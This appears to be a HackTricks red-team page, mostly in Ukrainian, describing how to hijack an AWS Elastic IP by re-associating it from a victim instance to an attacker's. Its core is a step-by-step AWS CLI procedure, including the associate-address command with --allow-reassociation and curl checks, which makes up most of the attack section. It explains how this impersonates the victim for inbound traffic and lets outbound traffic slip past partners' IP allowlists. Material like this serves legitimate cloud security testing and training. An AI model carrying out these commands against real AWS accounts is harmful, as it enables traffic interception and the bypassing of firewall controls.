AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation

Reading time: 3 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

Підсумок

Зловживання ec2:AssociateAddress (та опційно ec2:DisassociateAddress) для повторної асоціації Elastic IP (EIP) з інстансу/ENI цілі на інстанс/ENI зловмисника. Це перенаправляє вхідний трафік, спрямований на EIP, до зловмисника і також дозволяє зловмиснику ініціювати вихідний трафік з allowlisted публічною IP-адресою, щоб обійти зовнішні фаєрволи партнерів.

Передумови

  • Target EIP allocation ID in the same account/VPC.
  • Інстанс/ENI зловмисника під вашим контролем.
  • Права:
  • ec2:DescribeAddresses
  • ec2:AssociateAddress для allocation-id EIP та для інстансу/ENI зловмисника
  • ec2:DisassociateAddress (необов'язково). Примітка: --allow-reassociation автоматично від'єднає від попереднього приєднання.

Атака

Змінні

bash
REGION=us-east-1
ATTACKER_INSTANCE=<i-attacker>
VICTIM_INSTANCE=<i-victim>
  1. Виділити або визначити EIP жертви (лабораторія виділяє новий і прикріплює його до жертви)
bash
ALLOC_ID=$(aws ec2 allocate-address --domain vpc --region $REGION --query AllocationId --output text)
aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $VICTIM_INSTANCE --region $REGION
EIP=$(aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION --query Addresses[0].PublicIp --output text)
  1. Перевірте, що EIP наразі вказує на сервіс жертви (наприклад, перевірка на banner)
bash
curl -sS http://$EIP | grep -i victim
  1. Повторно асоціювати EIP з attacker (автоматично від'єднається від victim)
bash
aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $ATTACKER_INSTANCE --allow-reassociation --region $REGION
  1. Перевірте, що EIP тепер вказує на attacker service
bash
sleep 5; curl -sS http://$EIP | grep -i attacker

Докази (переміщена асоціація):

bash
aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION \
--query Addresses[0].AssociationId --output text

Вплив

  • Inbound impersonation: Увесь трафік до захопленого EIP доставляється на attacker instance/ENI.
  • Outbound impersonation: Attacker може ініціювати трафік, який виглядає так, ніби він походить з allowlisted public IP (корисно для обходу partner/external source IP filters).

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks